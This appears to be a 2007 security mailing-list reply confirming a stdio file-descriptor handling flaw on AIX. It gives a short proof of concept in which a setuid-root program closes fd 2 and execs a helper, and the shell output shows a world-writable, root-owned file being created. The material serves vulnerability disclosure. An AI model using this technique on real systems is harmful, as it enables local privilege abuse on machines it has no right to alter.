Re: Re: Multiple OS kernel insecure handling of stdio file descriptor
- From: watercloud@xxxxxxxxxx
- Date: 30 Aug 2007 08:20:00 -0000
I modify the test program, the line used "open" to :
int f=open("./bb",O_WRONLY | O_CREAT,0666);
Then tested it on AIX5300-05-05,It works ok,the bug exists now.
open("./bb",O_WRONLY | O_CREAT,0666);
-bash-3.00$ id
uid=202(cloud) gid=1(staff)
-bash-3.00$ oslevel -s
5300-05-05
-bash-3.00$ cat tt.c
#include<fcntl.h>
int main()
{
int f=open("./bb",O_WRONLY | O_CREAT,0666);
printf("euid=%i\n",geteuid());
printf("f=%i\n",f);
write(2,"hello\n",6);
}
-bash-3.00$ cat k.c
int main()
{
close(2); //close 2 before call tt
execl("./tt","./tt",0);
}
-bash-3.00$ ls -l k
-rwsr-xr-x 1 root staff 58287 Jan 1 09:55 k
-bash-3.00$ ls -l tt
-rwxrwxrwx 1 cloud staff 59457 Jan 1 10:24 tt
-bash-3.00$ ls -l bb
bb not found
-bash-3.00$ ./k
euid=0
f=2
-bash-3.00$ ls -l bb
-rw-rw-rw- 1 root staff 6 Jan 1 10:27 bb
-bash-3.00$ cat bb
hello
-bash-3.00$
- Prev by Date: PR07-23: Non-persistent Cross-site Scripting (XSS) on Absolute Poll Manager XE admin page
- Next by Date: RE: More on VMWare poor guest isolation design
- Previous by thread: PR07-23: Non-persistent Cross-site Scripting (XSS) on Absolute Poll Manager XE admin page
- Next by thread: Updated: VMware poor guest isolation design
- Index(es):
Relevant Pages
|
